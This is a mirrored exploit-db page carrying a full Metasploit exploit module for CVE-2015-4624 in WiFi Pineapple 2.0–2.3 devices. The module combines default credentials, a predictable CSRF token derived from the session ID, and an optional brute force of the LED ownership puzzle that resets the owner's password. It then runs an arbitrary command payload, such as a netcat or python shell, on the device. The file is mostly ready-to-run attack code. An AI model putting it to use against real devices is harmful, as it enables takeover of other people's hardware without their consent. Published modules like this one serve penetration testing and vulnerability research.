Hak5 WiFi Pineapple 2.4 – Preconfiguration Command Injection (Metasploit)

  • 作者: Metasploit
    日期: 2016-10-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40609/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Hak5 WiFi Pineapple Preconfiguration Command Injection',
    'Description'=> %q{
    This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.
    We use a combination of default credentials with a weakness in the anti-csrf generation to achieve
    command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail,
    you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a
    known password if successful and may interrupt the user experience. These devices may typically be identified
    by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting
    worm.
    },
    'Author' => ['catatonicprime'],
    'License'=> MSF_LICENSE,
    'References' => [[ 'CVE', '2015-4624' ]],
    'Platform' => ['unix'],
    'Arch' => ARCH_CMD,
    'Privileged' => false,
    'Payload'=> {
    'Space'=> 2048,
    'DisableNops'=> true,
    'Compat' => {
    'PayloadType'=> 'cmd',
    'RequiredCmd'=> 'generic python netcat telnet'
    }
    },
    'Targets'=> [[ 'WiFi Pineapple 2.0.0 - 2.3.0', {}]],
    'DefaultTarget'=> 0,
    'DisclosureDate' => 'Aug 1 2015'
    ))
    
    register_options(
    [
    OptString.new('USERNAME', [ true, 'The username to use for login', 'root' ]),
    OptString.new('PASSWORD', [ true, 'The password to use for login', 'pineapplesareyummy' ]),
    OptString.new('PHPSESSID', [ true, 'PHPSESSID to use for attack', 'tospovirus' ]),
    OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]),
    Opt::RPORT(1471),
    Opt::RHOST('172.16.42.1')
    ]
    )
    register_advanced_options(
    [
    OptBool.new('BruteForce', [ false, 'When true, attempts to solve LED puzzle after login failure', false ]),
    OptInt.new('BruteForceTries', [ false, 'Number of tries to solve LED puzzle, 0 -> infinite', 0 ])
    ]
    )
    
    deregister_options(
    'ContextInformationFile',
    'DOMAIN',
    'DigestAuthIIS',
    'EnableContextEncoding',
    'FingerprintCheck',
    'HttpClientTimeout',
    'NTLM::SendLM',
    'NTLM::SendNTLM',
    'NTLM::SendSPN',
    'NTLM::UseLMKey',
    'NTLM::UseNTLM2_session',
    'NTLM::UseNTLMv2',
    'SSL',
    'SSLVersion',
    'VERBOSE',
    'WORKSPACE',
    'WfsDelay',
    'Proxies',
    'VHOST'
    )
    end
    
    def login_uri
    normalize_uri('includes', 'api', 'login.php')
    end
    
    def brute_uri
    normalize_uri("/?action=verify_pineapple")
    end
    
    def set_password_uri
    normalize_uri("/?action=set_password")
    end
    
    def phpsessid
    datastore['PHPSESSID']
    end
    
    def username
    datastore['USERNAME']
    end
    
    def password
    datastore['PASSWORD']
    end
    
    def cookie
    "PHPSESSID=#{phpsessid}"
    end
    
    def csrf_token
    Digest::SHA1.hexdigest datastore['PHPSESSID']
    end
    
    def use_brute
    datastore['BruteForce']
    end
    
    def use_brute_tries
    datastore['BruteForceTries']
    end
    
    def login
    # Create a request to login with the specified credentials.
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' => login_uri,
    'vars_post' => {
    'username' => username,
    'password' => password,
    'login'=> "" # Merely indicates to the pineapple that we'd like to login.
    },
    'headers' => {
    'Cookie' => cookie
    }
    )
    
    return nil unless res
    
    # Successful logins in preconfig pineapples include a 302 to redirect you to the "please config this device" pages
    return res if res.code == 302 && (res.body !~ /invalid username/)
    
    # Already logged in message in preconfig pineapples are 200 and "Invalid CSRF" - which also indicates a success
    return res if res.code == 200 && (res.body =~ /Invalid CSRF/)
    
    nil
    end
    
    def cmd_inject(cmd)
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' => target_uri.path,
    'cookie'=> cookie,
    'vars_get'=> {
    'execute' => "" # Presence triggers command execution
    },
    'vars_post' => {
    '_csrfToken' => csrf_token,
    'commands' => cmd
    }
    )
    
    res
    end
    
    def brute_force
    print_status('Beginning brute forcing...')
    # Attempt to get a new session cookie with an LED puzzle tied to it.
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> brute_uri
    )
    
    # Confirm the response indicates there is a puzzle to be solved.
    if !res || !(res.code == 200) || res.body !~ /own this pineapple/
    print_status('Brute forcing not available...')
    return nil
    end
    
    cookies = res.get_cookies
    counter = 0
    while use_brute_tries.zero? || counter < use_brute_tries
    print_status("Try #{counter}...") if (counter % 5).zero?
    counter += 1
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' => brute_uri,
    'cookie'=> cookies,
    'vars_post' => {
    'green'=> 'on',
    'amber'=> 'on',
    'blue' => 'on',
    'red'=> 'on',
    'verify_pineapple' => 'Continue'
    }
    )
    
    if res && res.code == 200 && res.body =~ /set_password/
    print_status('Successfully solved puzzle!')
    return write_password(cookies)
    end
    end
    print_warning("Failed to brute force puzzle in #{counter} tries...")
    nil
    end
    
    def write_password(cookies)
    print_status("Attempting to set password to: #{password}")
    res = send_request_cgi(
    'method' => 'POST',
    'uri'=> set_password_uri,
    'cookie' => cookies,
    'vars_post'=> {
    'password' => password,
    'password2'=> password,
    'eula' => 1,
    'sw_license' => 1,
    'set_password' => 'Set Password'
    }
    )
    if res && res.code == 200 && res.body =~ /success/
    print_status('Successfully set password!')
    return res
    end
    print_warning('Failed to set password')
    
    nil
    end
    
    def check
    loggedin = login
    unless loggedin
    brutecheck = send_request_cgi(
    'method' => 'GET',
    'uri'=> brute_uri
    )
    return Exploit::CheckCode::Safe if !brutecheck || !brutecheck.code == 200 || brutecheck.body !~ /own this pineapple/
    return Exploit::CheckCode::Vulnerable
    end
    
    cmd_success = cmd_inject("echo")
    return Exploit::CheckCode::Vulnerable if cmd_success && cmdSuccess.code == 200 && cmd_success.body =~ /Executing/
    
    Exploit::CheckCode::Safe
    end
    
    def exploit
    print_status('Logging in with credentials...')
    loggedin = login
    if !loggedin && use_brute
    brute_force
    loggedin = login
    end
    unless loggedin
    fail_with(Failure::NoAccess, "Failed to login PHPSESSID #{phpsessid} with #{username}:#{password}")
    end
    
    print_status('Executing payload...')
    cmd_inject("#{payload.encoded}")
    end
    end